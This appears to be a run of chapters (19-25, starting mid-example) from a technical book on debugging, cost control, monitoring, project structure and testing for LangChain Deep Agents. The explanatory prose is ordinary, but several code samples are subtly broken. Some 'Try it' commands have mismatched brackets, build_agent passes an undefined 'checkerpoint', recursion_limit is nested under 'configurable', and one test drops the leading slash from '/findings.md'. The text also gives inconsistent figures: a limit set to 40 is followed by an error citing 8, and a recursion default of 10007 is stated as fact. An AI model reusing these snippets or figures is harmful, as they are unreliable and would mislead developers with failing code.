class Spy(ScriptedModel):
    def _generate(self, messages, *a, **k):
        seen.setdefault('m', messages); return super()._generate(messages, *a, **k)
def text(msg):
    c = msg.content
    return c if isinstance(c, str) else ''.join(b.get('text','') for b in c if
isinstance(b, dict))

create_deep_agent(model=Spy(script=['ok']), skills=['./skills/']).invoke(
    {'messages': [{'role': 'user', 'content': 'hi'}]})
prompt = chr(10).join(text(m) for m in seen['m'])
print('built without error, and skill in prompt:', 'incident-report' in prompt)
"

```

Built fine. Skill absent. No warning.

Takeaways

- Raising failures: **string input** (`InvalidUpdateError`), **.content on the result**, **backend factories** (removed in 0.7), **a tuple namespace**, and **resume without a checkpoint**.
- Errors mentioning `InvalidUpdateError`, `GraphRecursionError` or checkpoints are **LangGraph's** — search there, not in Deep Agents docs.
- **Four capabilities fail silently**: planning without `TodoListMiddleware`, skills without a backend, files without a checkpoint, tool descriptions without `parse_docstring=True`.
- **Verify a capability is present** before debugging the model's behaviour around it.
- `create_deep_agent()` with no model is deprecated and will break at 1.0. Read deprecation warnings in this ecosystem.
- An unknown `subagent_type` is returned as a tool result, so it looks like "delegation isn't helping" rather than an error.
- No error does not mean no failure — **scan ToolMessages for Error**.

Previous: Chapter 18 — The debugging mindset · Next: Chapter 20 — When the agent does the wrong thing

Chapter 20 — When the agent does the wrong thing

Layers 2 and 3. It ran, the capabilities are present, and the behaviour is wrong. This is where people reach for prompt engineering, and where being disciplined about *what* is broken saves days.

Symptom → cause

It never plans

Check `write_todos` is offered at all (Chapter 6) — that is the answer more often than not. If it is present and unused, the prompt does not ask. Models start work rather than plan unless told: *"Before you begin, write a plan with `write_todos`."*

It plans once and never updates

The list is stale, which is worse than no list because it looks like progress. Ask explicitly: *"Mark each item complete as you finish it."*

It reads whole files it does not need

The original context problem, back again. The agent has `grep` and does not use it. Prompt: *"Use `grep` to locate before reading. Read only the parts you need."*

Symptom to look for: `ToolMessage`s of several thousand characters. Chapter 16's exercise measures them.

It writes to the wrong path

You did not say where. Chapter 12's highest-value line. Name every path you will read.

It never delegates

`task` is unusual and its benefit — context saved — is invisible to the model. Name the subagent and the trigger: *"Delegate reading any file over 100 lines to `log-reader`."*

The subagent's answer is useless

Suspect the `description` before the subagent. It is the entire brief and there is no follow-up (Chapter 9). `"read the log"` produces what you would expect; `"report the first ERROR line with its timestamp, or say none found"` produces something usable.

It fabricates a conclusion

Two different bugs:

- **The evidence was not there.** It could not find the file, and the prompt did not permit failing. Add *"If the evidence does not support a conclusion, say so"* — and check the tool errors, because a missing file is usually why.
- **The evidence was there and it misread it.** A model problem. Chapter 17: a more capable parent model, or decompose the step.

Requiring citations distinguishes them: a claim the agent cannot attribute is one it invented.

It repeats work it already did

Context, not capability. It forgot, and the transcript no longer holds what it learned (Chapter 16). Write findings to files earlier.

It stops too early

Often the exit condition is implicit. Say what "done" means: *"You are finished when /findings.md exists and every todo is complete."*

It ignores a skill

The description, not the content (Chapter 10). And check the skill is loaded at all — no backend means no skill, silently.

The test that halves the problem

Give the agent the right context by hand and see whether it reasons well:

```
agent.invoke({
  "messages": [{ "role": "user", "content": "why did node-3 fail?" }],
  "files": { "/logs/api.log": create_file_data("...the one relevant log...") },
})
```

If it concludes correctly from a curated workspace but not from the real one, the problem is **finding** — search, prompting, delegation. If it still gets it wrong, the problem is **reasoning** — model or prompt.

That single split is worth more than any amount of staring at transcripts.

Prompt changes are code changes

With no type checker and side effects you will not see:

Change one thing at a time. Two changes and an improvement tells you nothing.

Keep the case you were fixing, as a test (Chapter 25).

Re-check the cases that used to work. Prompt changes regress silently — a line that makes the agent delegate more can make it stop reading things it should.

Version prompts with your code. A prompt edited in a database is an unreproducible deployment.

When it is the model

Signals that no prompt will fix:

- It gets it right with a larger model and the identical prompt and files.
- It loses coherence past a certain run length regardless of instruction.
- It cannot choose among tools sensibly — reaching for `write_file` where `edit_file` was obvious.

Then: a more capable parent model (Chapter 17), or decompose the task so each step is one the model can do.

Try it

Run the split — same question, curated workspace:

```
uv run python -c "
from deepagents import create_deep_agent
from deepagents.backends.utils import create_file_data
from examples.scout.fakes import ScriptedModel

script = [{'text': 'reading', 'tool_calls': [{'name': 'read_file', 'args':
{'file_path': '/logs/api.log'}}]},
          'Root cause: disk exhaustion.']}
out = create_deep_agent(model=ScriptedModel(script=script)).invoke({
    'messages': [{'role': 'user', 'content': 'why did node-3 fail?'}],
    'files': {'/logs/api.log': create_file_data('ERROR write failed: no space left
on device')}})
print(out['messages'][-1].content)
"
```

Right answer from a curated workspace means your bug is finding, not reasoning.

Then look for oversized tool results, the tell for an agent reading too much:

```
uv run python -c "
from examples.scout.agent import investigate
for m in investigate()['messages']:
    if type(m).__name__ == 'ToolMessage':
        n = len(str(m.content))
        print(f'{n:5} chars {"<- large" if n > 500 else ""}')
"
```

Takeaways

- Check the capability exists before debugging behaviour around it. "It never plans" is usually a missing `ToDoListMiddleware`.
- Most behavioural fixes are **prompt lines**: ask for a plan, ask it to be updated, ask for `grep` before reading, name the output path, name the delegation trigger, define "done".
- **A useless subagent answer is usually an underspecified description**.
- Fabrication is two bugs: **missing evidence** (check tool errors, permit failure) or **misread evidence** (a model problem). **Citations distinguish them**.
- Repeated work means context loss — write findings to files earlier.
- **Curate the workspace by hand**. Right answer means your bug is *finding*; wrong answer means *reasoning*. That split halves the search.
- Prompt changes are code changes: one at a time, keep the case, re-check what worked, and version them with your code.

Previous: Chapter 19 — When it won't run · Next: Chapter 21 — Runaway agents and cost

Chapter 21 — Runaway agents and cost

Every other failure in this book costs time. This one costs money, and a deep agent is the worst-placed of the four books' subjects to be careless about it: it is *designed* to take many turns, so "it is still going" looks like it working.

The default that is not a safety net

```
DEFAULT_RECURSION_LIMIT = 10007
```

Ten thousand supersteps before anything stops it. That is LangGraph's default (Chapter 5) and it applies here unchanged.

For a chain that is a wasted second. For a deep agent — where each turn is a model call carrying ~2,400 tokens of tool definitions plus the accumulated transcript — it is a bill you will remember.

Set it:

```
agent.invoke(payload, {"recursion_limit": 40})
```

```
GraphRecursionError: Recursion limit of 8 reached without hitting a stop condition.
```

A deep agent legitimately needs more turns than a simple one — 30 to 60 is a reasonable ceiling for real work. That is still two orders of magnitude below the default.

Three layers of defence

1. **recursion_limit on every invocation.** The crash barrier. It fails the run and discards the work, which is why it should not be your primary control.
2. **A graceful cap.** `ModelCallLimitMiddleware` stops cleanly instead of raising:

```
from langchain.agents.middleware import ModelCallLimitMiddleware

agent = create_deep_agent(model=model, middleware=[ModelCallLimitMiddleware(run_limit=30)])
```

```
completed with 5 model turns
```

The run *completed* — state intact, files written, checkpoint resumable. Compare a `GraphRecursionError`, which loses everything.

Note `ToolCallLimitMiddleware` also exists, and its `exit_behavior` defaults to "continue", which blocks tool calls without stopping the loop. Pass `exit_behavior="end"` if you are using it as a cost guard.

3. **A token budget.** Neither of the above knows about money. Count in middleware (Chapter 14) and stop on spend, not turns — a turn with a 50 KB file read costs many times one without.

The harness overhead, measured

One scout run:

```
6 model turns
harness tool definitions: ~2414 tokens x 6 turns = ~14484 tokens of overhead
```

Fourteen thousand tokens of *tool definitions* for a six-turn investigation, before any content. That is the harness's fixed cost, and it scales linearly with turns.

Two conclusions:

Short tasks should not use a deep agent. Chapter 1's rule, now with a number. A three-turn task pays ~7,000 tokens for machinery it does not use.

Long tasks should. Those same tools are what stop four log files entering the transcript and being re-sent forty times. The overhead is fixed per turn; the alternative grows quadratically.

Where the money actually goes

In order:

The transcript, re-sent every turn. Quadratic in run length. The filesystem is the fix, and only if the agent uses it (Chapter 20).

Tool definitions. ~2,400 per turn, fixed. Add your own tools and a `response_format` schema on top.

Subagent calls. Each is a fresh agent with its own system prompt and full tool definitions. A subagent that saves 500 tokens of context costs more than it saves (Chapter 9).

Reading too much. A `read_file` of a whole log is that log in the transcript, forever.

Summarisation. Costs a model call to save tokens later.

Why agents run away

From the message list, which is where the answer always is:

- **The same tool call repeated with identical arguments** → the result does not permit stopping. `"Error: File not found"` invites another guess. Fix the tool output or the path.
- **Reading files it has already read** → context loss (Chapter 16).
- **No exit condition** → the prompt never said what "done" means. Say it.
- **Delegating in a loop** → a subagent returning something the parent cannot use, so it tries again.

Noticing before the invoice

- **Record turns and tokens** in state or middleware, so cost is queryable per thread.
- **Alert on `GraphRecursionError`**. It should be zero; every occurrence already cost money.
- **Watch p99 turns per run**, not the mean — runaways hide in the tail.

- **Watch todo staleness.** An unchanged plan over many turns is the cheapest stuck-detector you have (Chapter 18).

A pre-deploy checklist

- [] `recursion_limit` passed explicitly at every invoke site.
- [] A graceful cap via `ModelCallLimitMiddleware`.
- [] A token budget, if a single turn can read something large.
- [] Every tool returns something that permits stopping.
- [] The prompt defines "done".
- [] Subagents are used for large context savings, not tidiness.
- [] An alert on `GraphRecursionError` and on p99 turns.

Try it

Watch the crash barrier, then the graceful cap:

```
uv run python -c "
from deepagents import create_deep_agent
from langchain.agents.middleware import ModelCallLimitMiddleware
from examples.scout.fakes import ScriptedModel

forever = [{'text': 'again', 'tool_calls': [{'name': 'ls', 'args': {'path': '/'}}]}]

try:
    create_deep_agent(model=ScriptedModel(script=forever)).invoke(
        {'messages': [{'role': 'user', 'content': 'go'}]}, {'recursion_limit': 8})
except Exception as e:
    print('crash barrier :', type(e).__name__)

out = create_deep_agent(model=ScriptedModel(script=forever),
    middleware=[ModelCallLimitMiddleware(run_limit=4)]).invoke(
    {'messages': [{'role': 'user', 'content': 'go'}]}, {'recursion_limit': 50})
print('graceful cap : completed with', sum(1 for m in out['messages'] if
type(m).__name__ == 'AIMessage'), 'turns')
"
```

One raises and loses the run; one completes with state intact.

Then measure your own overhead:

```
uv run python -c "
from examples.scout.agent import investigate
out = investigate()
turns = sum(1 for m in out['messages'] if type(m).__name__ == 'AIMessage')
print(f'{turns} turns x ~2414 tokens of tool definitions = ~{2414*turns} tokens')
print('...before any content')
"
```

Takeaways

- **The default recursion limit is 10007.** For an agent designed to take many turns, that is a bill, not a safety net. Set 30–60 explicitly.
- Three layers: `recursion_limit` (crash barrier, loses the run), `ModelCallLimitMiddleware` (stops gracefully, state intact), **a token budget** (the only one measuring money).
- `ToolCallLimitMiddleware` defaults to `exit_behavior="continue"`, which does **not** stop the loop.
- **Measured: ~14,500 tokens of tool definitions for a six-turn run.** Short tasks should not pay it; long tasks are exactly what it buys.
- Cost order: the re-sent transcript, tool definitions, subagent calls, over-reading, summarisation.
- Runaways are: a tool result that does not permit stopping, context loss, no defined "done", or a delegation loop.
- Record turns and tokens, alert on `GraphRecursionError` and p99 turns, and **watch for a todo list that has not changed.**

Previous: Chapter 20 — When the agent does the wrong thing · Next: Chapter 22 — Observing a long run

Chapter 22 — Observing a long run

A deep agent runs for minutes. Waiting for the final message and hoping is not an operational strategy — and unlike a chain, this one has three separate things worth watching.

Three signals, not one

Signal	Answers	Where
Messages	what is it doing right now	the stream
Todos	where does it think it is	state
Files	what has it actually produced	state

Most people watch only the first. **The second is the best stuck-detector and the third is the deliverable.**

Streaming

It is a LangGraph graph (Chapter 5), so the stream modes are LangGraph's:

```
for chunk in agent.stream(payload, stream_mode="updates"):
    print(chunk)
```

- `updates` — what each node returned. The right default for "which step is it on".
- `values` — the whole state after each step, so you can watch `todos` and `files` evolve.
- `messages` — token by token, for a UI.

Two warnings inherited from the layers below.

`stream_mode="messages"` **includes tool output**. A UI rendering every chunk will print raw file contents into the conversation. Filter on `metadata["langgraph_node"]`.

Subagent work is invisible by default. Pass `subgraphs=True` to see inside — otherwise a subagent is one opaque step, which is exactly the debugging problem from Chapter 9.

```
for ns, chunk in agent.stream(payload, stream_mode="updates", subgraphs=True):
    print(ns or "parent", chunk)
```

Watching the plan

The cheapest progress indicator available:

```
for chunk in agent.stream(payload, stream_mode="values"):
    todos = chunk.get("todos", [])
    done = sum(1 for t in todos if t["status"] == "completed")
    print(f"{done}/{len(todos)} complete")
```

Two things you can act on. **Progress**, for a UI or a log. And **stuck-ness**: a plan unchanged over many turns means the agent is going round, and you can stop it before the recursion limit does (Chapter 21).

This is worth wiring up early. It is a handful of lines and it is the difference between a long-running agent being opaque and being legible.

Inspecting a run afterwards

With a checkpointer, the whole history is queryable:

```
snapshot = agent.get_state(config)
snapshot.values["files"]           # what exists now
snapshot.values.get("todos")
snapshot.next                      # empty = finished; non-empty = paused
snapshot.interrupts                # waiting for approval?

for h in agent.get_state_history(config):
    print(h.metadata.get("step"), sorted(h.values.get("files", {})))
```

That last loop is genuinely useful in a way it is not for a short agent: it shows **when each file appeared**. "The report was written at step 4, before the config was read" is a finding you cannot get from the final state.

What to log in production

If you adopt nothing else:

- **The thread_id on every line.** Without it you cannot reconstruct a run.
- **Every tool call and result summary** — name, arguments, and whether the result contained `Error`. This is the record you will want when someone asks what the agent changed.
- **Turn count and tokens** (Chapter 21).
- **The final files keys**, so you know what it produced.

Tracing via LangSmith works unchanged — it is instrumented at the LangChain layer, so set `LANGSMITH_TRACING=true` and you get the tree, including subagents, with no code change. Note the variables are `LANGSMITH_*`; the older `LANGCHAIN_*` names no longer work.

What to alert on

- `GraphRecursionError` **count** — should be zero.
- **p99 turns per run** — runaways hide in the tail.
- **Tool error rate**, especially filesystem errors. A rising rate usually means paths changed under the agent.
- **Interrupt age**, if you use approval (Chapter 13). A review request nobody answers is an invisible failure.
- **Runs producing no files**. For a file-producing agent, an empty `files` is a failed run regardless of what the final message says.

That last one is specific to this layer and worth adding: it catches confident narration over a broken filesystem, which Chapter 18 warned is the characteristic failure here.

Try it

Watch the plan advance:

```
uv run python -c "
from examples.scout.agent import build
from examples.scout.workspace import seed

for chunk in build().stream({'messages': [{'role': 'user', 'content': 'why did node-3
fail?'}]}, 'files': seed()),
    stream_mode='values'):
    todos = chunk.get('todos', [])
    if todos:
        done = sum(1 for t in todos if t['status'] == 'completed')
        print(f'{done}/{len(todos)} complete  files={len(chunk.get(\"files\",
{}))}')
"
```

Then see which step produced the report:

```
uv run python -c "
from langgraph.checkpoint.memory import InMemorySaver
from examples.scout.agent import build
from examples.scout.workspace import seed

agent = build(checkpointer=InMemorySaver())
cfg = {'configurable': {'thread_id': 'run-1'}}
agent.invoke({'messages': [{'role': 'user', 'content': 'why did node-3 fail?'}]},
'files': seed()), cfg)
for h in reversed(list(agent.get_state_history(cfg))):
    files = sorted(h.values.get('files', {}))
    print(f"step {str(h.metadata.get('step')):>3}  {len(files)} files
findings={'/findings.md' in files}")
"
```

Takeaways

- Watch **three** signals: messages (what now), **todos (where it thinks it is)**, files (what it produced). Most people watch only the first.
- Stream modes are LangGraph's. `updates` for steps, `values` to watch todos and files evolve.
- `stream_mode="messages"` **includes tool output** — filter on `langgraph_node`.
- **Subagent work is invisible unless you pass** `subgraphs=True`.
- A **todo list unchanged over many turns** is the cheapest stuck-detector, and lets you stop a run before the recursion limit does.
- `get_state_history` shows **when each file appeared**, which the final state cannot.
- Log the `thread_id`, every tool call and whether it errored, turns and tokens, and the final file list. LangSmith works unchanged with `LANGSMITH_*` variables.
- Alert on recursion errors, p99 turns, tool error rate, interrupt age — and **runs that produced no files**, which catches confident narration over a broken filesystem.

[Previous: Chapter 21 — Runaway agents and cost](#) · [Next: Chapter 23 — Cookbook](#)

Chapter 23 — Cookbook: symptom → cause → fix

Indexed by what you see. Every message was produced by running code against the versions on the cover.

Exceptions

`InvalidUpdateError: Expected dict, got hello`

You passed a string. Agents take `{"messages": [...]}`. From `LangGraph`. → Ch 19

`AttributeError: 'dict' object has no attribute 'content'`

The result is a dict: `result["messages"][-1].content`. → Ch 19

`TypeError: backend must be an initialized backend instance. Backend factories were removed in deepagents 0.7`

`backend=lambda rt: StoreBackend(rt)` no longer works. Pass an instance. Most published examples are stale. → Ch 8

`TypeError: 'tuple' object is not callable`

`StoreBackend(namespace=("memories",))`. It takes a **callable** — `namespace=lambda rt: ("memories",)`. Raised inside the write, so the traceback points at `store.py`. → Ch 8

`RuntimeError: Cannot use Command(resume=...) without checkpointer`

Approval configured with no checkpointer. Note the pause itself worked. → Ch 13

`GraphRecursionError: Recursion limit of N reached`

The agent did not stop. **The default is 10007** — set it explicitly, 30–60 for real work. Then check whether a tool result permits stopping. → Ch 21

`LangChainDeprecationWarning: Passing model=None ... deprecated`

Pass a model explicitly; it breaks at deepagents 1.0. → Ch 19

`ValidationError` **from** `write_todos`

A status outside `pending / in_progress / completed`. → Ch 6

Silent — no error at all

These are the expensive ones.

The agent never plans

`write_todos` is **not enabled by default**. Add `TodoListMiddleware` from `langchain.agents.middleware`. Verify with `model.bound_tools`. → Ch 6

A skill never loads

Either no backend (`skills=[...]` alone does nothing) or a description that does not say when to use it. Check the skill's name appears in the system prompt. → Ch 10

Files disappear between runs

No checkpointer. Measured: `run1 files: ['/a.md'] | run2 files: []`. → Ch 4

Your tool's argument descriptions are missing

`@tool` without `parse_docstring=True`. Check `my_tool.args`. → Ch 14

FileSystemBackend(virtual_mode=True) wrote to your disk

`virtual_mode` is **not** a **sandbox**. It constrains paths, not access. For files that never touch disk use `StateBackend` — the default. → Ch 8

ToolCallLimitMiddleware did not stop the loop

`exit_behavior` defaults to `"continue"`. Pass `exit_behavior="end"`. → Ch 21

A middleware refusal appears as the user speaking

`wrap_tool_call` returning a bare string produces a `HumanMessage`. Return a `ToolMessage(content=..., tool_call_id=request.tool_call["id"])`. → Ch 13

Delegation "isn't helping"

A typo'd `subagent_type` is returned as a tool result — *"We cannot invoke subagent nope"* — not raised. The agent then does the work itself. → Ch 19

The agent narrates confidently over a broken filesystem

Tool errors are returned, not raised. Scan for them:

```
[str(m.content)[:60] for m in result["messages"]
 if type(m).__name__ == "ToolMessage" and "Error" in str(m.content)]
```

→ Ch 18

Behaviour**It writes to the wrong path**

You did not say where. Name every path you will read. → Ch 12

It reads whole files it does not need

No `grep` first. Prompt for locate-then-read. Symptom: `ToolMessage`s of thousands of characters. → Ch 7, 16

It plans once and never updates

Ask: *"Mark each item complete as you finish it."* A stale plan is worse than none. → Ch 6

It never delegates

`task` is under-used because its benefit is invisible to the model. Name the subagent and the trigger. → Ch 9

A subagent's answer is useless

The `description` is the entire brief and there is no follow-up. → Ch 9

A subagent ignores a skill the parent follows

Skills are not inherited. Pass them to the subagent explicitly. → Ch 10

It fabricates a conclusion

Missing evidence (check tool errors; permit failing) or misread evidence (a model problem). **Citations distinguish them.** → Ch 12, 20

It repeats work it already did

Context loss. Write findings to files earlier — files survive summarisation, transcripts do not. → Ch 16

It stops too early

"Done" was never defined. *"You are finished when /findings.md exists and every todo is complete."* → Ch 20

Quality degrades as the run goes on

Context, not capability. → Ch 16

The chat UI shows raw file contents

`stream_mode="messages"` includes tool output. Filter on `langgraph_node`. → Ch 22

Fast diagnostics

```
# what tools did the model ACTUALLY have -- the highest-value check
model.bound_tools

# what did it do
for m in result["messages"]:
    print(type(m).__name__, str(m.content)[:80])

# did any tool fail?
[str(m.content)[:60] for m in result["messages"]
 if type(m).__name__ == "ToolMessage" and "Error" in str(m.content)]

# what did it produce -- the actual deliverable
sorted(result["files"]); result["files"]["/findings.md"]["content"]

# where did it think it was
result.get("todos")

# is the skill loaded? (look for its name in the system prompt)
# is it paused?
snap = agent.get_state(config); snap.next, snap.interrupts

# when did each file appear
for h in agent.get_state_history(config):
    print(h.metadata.get("step"), sorted(h.values.get("files", {})))

# inside subagents
for ns, chunk in agent.stream(payload, stream_mode="updates", subgraphs=True): ...
```

The silent failures, in one place

1. **Planning off by default** — no `ToDoListMiddleware`, no `write_todos`. → Ch 6
2. **Skills without a backend** — configured, never loaded. → Ch 10
3. **No checkpointer** — files vanish between runs; approval cannot resume. → Ch 4, 13
4. **@tool without `parse_docstring=True`** — argument descriptions dropped. → Ch 14
5. **`virtual_mode=True` is not a sandbox** — still writes to disk. → Ch 8
6. **Tool errors are returned, not raised** — the agent narrates over them. → Ch 18

Which library owns the error

Mentions	Look in
<code>InvalidUpdateError</code> , <code>GraphRecursionError</code> , <code>checkpointer</code> , <code>thread</code> , <code>interrupt</code>	LangGraph
tool schemas, <code>parse_docstring</code> , <code>response_format</code> , <code>middleware</code> , <code>models</code>	LangChain
backends, skills, subagents, <code>write_todos</code> , filesystem tools	Deep Agents

→ Ch 5

Previous: Chapter 22 — Observing a long run · Next: Chapter 24 — Structuring a real project

Chapter 24 — Structuring a real project

Everything so far has been a snippet. This chapter is what changes when a deep agent has to live in an application.

A layout that works

```
src/scout/
  models.py      # model construction, one place
  prompts.py     # the system prompt, versioned with the code
  tools.py       # custom tools
  subagents.py   # subagent definitions
  skills/        # SKILL.md directories -- in the repo, in review
  backend.py     # which backend, and its routing
  agent.py       # assembles it
  app.py         # the web layer
tests/
  test_config.py # is each capability actually enabled?
  test_agent.py  # scripted-model behaviour
```

The unusual file is `test_config.py`. In this library, **whether a capability is present is itself worth testing** (Chapter 6, Chapter 10), because absence is silent.

Skills belong in the repository. They are prompt-shaped content that changes behaviour; a skill edited on a server is an unreviewable deployment.

Build in a function

```
def build_agent(*, model=None, backend=None, checkpointer=None, store=None):
    return create_deep_agent(
        model=model or parent_model(),
        tools=TOOLS,
        subagents=SUBAGENTS,
        system_prompt=SYSTEM_PROMPT,
        middleware=[TodoListMiddleware(), *AUDIT],
        backend=backend or default_backend(),
        skills=["./skills/"],
        checkpointer=checkerpoint,
        store=store,
    )
```

Never at import time — importing your package should not construct model clients or open connections. Taking the model and backend as arguments is what lets tests inject a `ScriptedModel` and a `StateBackend`.

Build once at startup and reuse; the compiled graph is safe to invoke concurrently.

The book's example does this with a `todos=` flag so Chapter 6 can demonstrate both states — see `examples/scout/agent.py`.

Backend and checkpointer are deployment decisions

The two arguments with the largest blast radius:

	Development	Production
Backend	<code>StateBackend()</code>	<code>CompositeBackend</code> routing durable paths to <code>StoreBackend</code>
Checkpointer	<code>InMemorySaver()</code>	<code>Postgres</code>
Store	<code>InMemoryStore()</code>	<code>Postgres</code>

The moment you run two workers, in-memory anything is wrong. A paused approval (Chapter 13) cannot be resumed by a different worker, and files vanish between requests.

If you use `FilesystemBackend`, its `root_dir` is a security boundary. Point it at a scratch directory, never at your source tree, and pair it with approval on writes.

The web layer

```
@asynccontextmanager
async def lifespan(app):
    async with AsyncPostgresSaver.from_conn_string(DB_URL) as checkpointer:
        await checkpointer.setup()
        app.state.agent = build_agent(checkpointer=checkpointer)
        yield

@app.post("/investigate/{incident_id}")
async def investigate(incident_id: str, body: Request):
    config = {"configurable": {"thread_id": f"incident-{incident_id}",
                              "recursion_limit": 40}}
    result = await app.state.agent.ainvoke(
        {"messages": [{"role": "user", "content": body.question}], "files": seed(incident_id)},
        config)
    if "__interrupt__" in result:
        return {"status": "pending_approval", "thread_id": f"incident-{incident_id}"}
    return {"answer": result["messages"][-1].content,
            "report": result["files"].get("/findings.md", {}).get("content")}
```

Four things this gets right: the agent is built once, the checkpointer's lifetime is the application's, `recursion_limit` is set (Chapter 21), and **the response returns the file, not just the message** — the file is the deliverable.

A deep agent takes minutes, so a synchronous HTTP request is usually wrong. Return a `thread_id` immediately and let the client poll `get_state`, or run it on a queue.

Configuration

Kind	Home
API keys, database URLs, model names	environment
Tenant, user id, incident id	per-request context
<code>recursion_limit</code> , call limits, which tools need approval	code
The system prompt and skills	the repository

The third row is an opinion worth holding. Limits look like configuration and behave like behaviour: raising `recursion_limit` changes what the agent does and what it costs. Put it in code so it goes through review.

Test the configuration

The habit specific to this library:

```
def test_planning_is_opt_in():
    assert "write_todos" not in _offered()
    assert "write_todos" in _offered(middleware=[TodoListMiddleware()])

def test_system_prompt_names_the_output_path():
    assert "/findings.md" in SYSTEM_PROMPT
```

Both guard silent failures. Chapter 25 builds this out.

Pin your versions

```
dependencies = [
    "deepagents>=0.7,<1",
    "langchain>=1.3,<2",
    "langgraph>=1.2,<2",
]
```

Deep Agents is pre-1.0 and moving fastest of the three. Pin all three — a LangChain or LangGraph change can alter behaviour here without deepagents changing at all, which is the cost of sitting on top of a stack.

Try it

See the assembly separated from the running:

```
uv run python -c "
from examples.scout.agent import build
from examples.scout.workspace import seed

agent = build() # constructed once
out = agent.invoke({'messages': [{'role': 'user', 'content': 'why did node-3 fail?'}],
'files': seed()},
{'recursion_limit': 40})
print('report:', bool(out['files'].get('/findings.md')))
print('todos:', len(out.get('todos', [])))
"
```

Then confirm the injection point that makes tests possible:

```
uv run python -c "
from examples.scout.agent import build
from examples.scout.fakes import ScriptedModel
out = build(model=ScriptedModel(script=['injected reply'])).invoke(
{'messages': [{'role': 'user', 'content': 'hi'}]})
print(out['messages'][-1].content)
"
```

Takeaways

- Separate models, prompts, tools, subagents, skills, backend and assembly. **Skills belong in the repository** — they change behaviour and should be reviewed.
- **Build in a function, never at import time**, taking model, backend and checkpointer as arguments so tests can inject fakes. Build once at startup.
- Backend and checkpointer are **deployment decisions**. Two workers means Postgres and no in-memory anything.
- FilesystemBackend's `root_dir` is a security boundary — scratch directory, plus approval on writes.
- In the web layer: build once, set `recursion_limit`, and **return the file, not just the message**. A minutes-long agent usually wants a job and a `thread_id`, not a blocking request.
- Secrets in the environment; tenant per request; **limits and prompts in code**, because they are behaviour.
- **Test that capabilities are enabled** — in this library, absence is silent.
- Pin all three packages; deepagents is pre-1.0 and sits on two moving layers.

Previous: Chapter 23 — Cookbook · Next: Chapter 25 — Testing

Chapter 25 — Testing

A deep agent is long, non-deterministic and file-producing, which sounds untestable and is not. The model's judgement is non-deterministic; your configuration, tools, prompts and the harness's behaviour are not.

Four layers

Layer	What	Needs a model?
1	Configuration — is the capability enabled?	no
2	Tools, prompts, workspace	no
3	Harness behaviour, with a scripted model	scripted
4	The expensive failure modes	scripted

The book's suite:

```
19 passed in 3.13s
```

No API key, no network.

Layer 1 is specific to this library

Elsewhere you test behaviour. Here you first test that the thing exists, because absence is silent (Chapter 19):

```
def _offered(**kwargs) -> list[str]:
    model = ScriptedModel(script=["ok"])
    create_deep_agent(model=model, **kwargs).invoke({"messages": [{"role": "user",
"content": "hi"}]})
    return model.bound_tools

def test_planning_is_opt_in():
    assert "write_todos" not in _offered()
    assert "write_todos" in _offered(middleware=[TodoListMiddleware()])

def test_the_example_enables_planning():
    model = ScriptedModel(script=["ok"])
    build(model=model).invoke({"messages": [{"role": "user", "content": "hi"}]})
    assert "write_todos" in model.bound_tools
```

The first documents the library's behaviour and will fail loudly if a future version changes it. The second asserts *your* agent enabled it — the bug that actually bites.

Do the same for tool descriptions, which vanish without `parse_docstring=True`:

```
def test_custom_tools_expose_argument_descriptions():
    for tool in TOOLS:
        for name, schema in tool.args.items():
            assert "description" in schema, f"{tool.name}.{name} has no
description"
```


Test the prompt's load-bearing lines

Chapter 12 identified lines that carry real weight. Assert they survive:

```
def test_system_prompt_names_the_output_path():
    assert "/findings.md" in SYSTEM_PROMPT

def test_system_prompt_permits_failure():
    assert "does not support" in SYSTEM_PROMPT
```

Crude, and it means nobody deletes them during a tidy-up without a red build. Assert *properties*, never wording.

Layer 3: behaviour, scripted

With a fixed script the harness is deterministic, so you can assert on what it *did*:

```
def test_investigation_writes_a_report():
    out = investigate()
    assert "/findings.md" in out["files"]

def test_investigation_cites_its_sources():
    report = investigate()["files"]["findings.md"]["content"]
    assert "[logs/api.log]" in report
    assert "[runbooks/disk.md]" in report

def test_investigation_keeps_a_plan():
    assert len(investigate().get("todos", [])) == 3
```

Assert on files and todos, not on prose. The report's wording will change; the fact that it exists and carries citations should not.

And the check Chapter 18 argued for — that the run did not succeed *over* a broken filesystem:

```
def test_no_tool_errored():
    errors = [str(m.content) for m in investigate()["messages"]
              if type(m).__name__ == "ToolMessage" and "Error" in str(m.content)]
    assert not errors, errors
```

That one test catches path changes, a renamed seed file, and a backend misconfiguration.

Layer 4: the failures that cost money

Free to test, expensive to hit:

```
def test_runaway_hits_the_recursion_limit():
    forever = [{"text": "again", "tool_calls": [{"name": "ls", "args": {"path":
"/"} }]}]}
    with pytest.raises(GraphRecursionError):
        create_deep_agent(model=ScriptedModel(script=forever)).invoke(payload, {"re
cursion_limit": 8})

def test_call_limit_stops_gracefully():
    out = create_deep_agent(model=ScriptedModel(script=forever),
                           middleware=[ModelCallLimitMiddleware(run_limit=4)]).inv
oke(payload, ...)
    assert out["messages"]      # completed, not raised
```

Test the traps as documentation

Some tests exist to record behaviour you must not forget:

```
def test_files_do_not_persist_without_a_checkpoint():
    first = agent.invoke(payload)
    second = agent.invoke(payload)
    assert "/a.md" in first["files"]
    assert second["files"] == {}
```

Asserting a *limitation* is unusual and useful: it is executable documentation, and it tells you loudly if a future version changes the behaviour your code relies on.

A lesson from writing these

One test failed for a reason worth passing on. `test_threads_are_isolated` used a script long enough for one run and invoked twice. The second thread wrote nothing — and it looked like a threading bug.

It was the fake: a `ScriptedModel` **shares one cursor across runs**, so the second invocation got only the repeated last entry. The library was fine.

The general point: **when a test involving a fake fails, suspect the fake first**. The comment in the test now says so.

Testing subagents

Isolation is assertable (Chapter 9):

```
def test_subagent_context_is_isolated():
    seen = []
    class Spy(ScriptedModel):
        def _generate(self, messages, *a, **k):
            seen.append(len(messages))
            return super()._generate(messages, *a, **k)
    ...
    assert seen[1] <= seen[0], f"subagent inherited context: {seen}"
```

Counting messages per model call is the cleanest way to prove a property that is otherwise invisible.

What this does not test

Whether the conclusion is *right*. That is evaluation — a dataset of incidents with known root causes, scored — and it costs money, is slow, and produces a score rather than pass/fail. Chapter 26 covers it. Keep it out of the unit suite, or the unit suite stops being run.

Try it

```
uv run --extra dev pytest -q
```

```
19 passed in 3.13s
```

Then break things and watch which test catches each. Remove `TodoListMiddleware` from `build` in `examples/scout/agent.py` — `test_the_example_enables_planning` fails. Delete `/findings.md` from `SYSTEM_PROMPT` — the `prompt` test fails. Change a seeded path in `workspace.py` — `test_no_tool_errored` fails.

Takeaways

- The model is non-deterministic; **configuration, tools, prompts and harness behaviour are not**. 19 tests, 3 seconds, no API key.
